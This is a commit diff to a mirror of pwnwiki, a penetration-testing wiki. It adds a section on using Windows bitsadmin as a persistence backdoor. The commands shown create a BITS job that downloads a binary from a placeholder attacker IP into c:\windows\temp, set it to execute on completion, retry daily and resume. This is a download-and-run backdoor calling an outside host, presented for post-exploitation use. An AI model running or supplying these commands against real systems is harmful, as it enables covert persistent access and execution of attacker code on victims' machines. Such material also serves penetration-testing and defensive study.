mirror of
https://github.com/oXis/pwnwiki.github.io.git
synced 2025-10-29 16:56:59 +00:00
Added BITSADMIN
This commit is contained in:
parent
d68b42a801
commit
7d66ad999d
@ -13,6 +13,26 @@ return false;
|
|||||||
|
|
||||||
Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
|
Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
|
||||||
|
|
||||||
|
|
||||||
|
### BITSADMIN Backdoor
|
||||||
|
Slide #49 of [this slide deck](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607) starts a method of using the `bitsadmin` command (http://msdn.microsoft.com/en-us/library/aa362813(v=vs.85).aspx) to create a backdoor. The steps are as follows:
|
||||||
|
|
||||||
|
#### Creating the backdoor
|
||||||
|
<pre>
|
||||||
|
c:\> bitsadmin /create mybackdoor
|
||||||
|
c:\> bitsadmin /addfile mybackdoor http://[AttackerIP]/[AttackerBinary.exe] c:\windows\temp\[AttackerBinary.exe]
|
||||||
|
c:\> bitsadmin /SETMINRETRYDELAY mybackdoor 86400
|
||||||
|
c:\> bitsadmin /SETNOTIFYCMDLINE mybackdoor c:\windows\temp\[AttackerBinary.exe] NULL
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
#### Checking to see if everything is set
|
||||||
|
<pre>
|
||||||
|
c:\> bitsadmin /getnotifycmdline mybackdoor
|
||||||
|
c:\> bitsadmin /listfiles mybackdoor
|
||||||
|
c:\> bitsadmin /RESUME mybackboor
|
||||||
|
</pre>
|
||||||
|
|
||||||
|
|
||||||
### Firewall Exceptions
|
### Firewall Exceptions
|
||||||
When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows:
|
When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows:
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user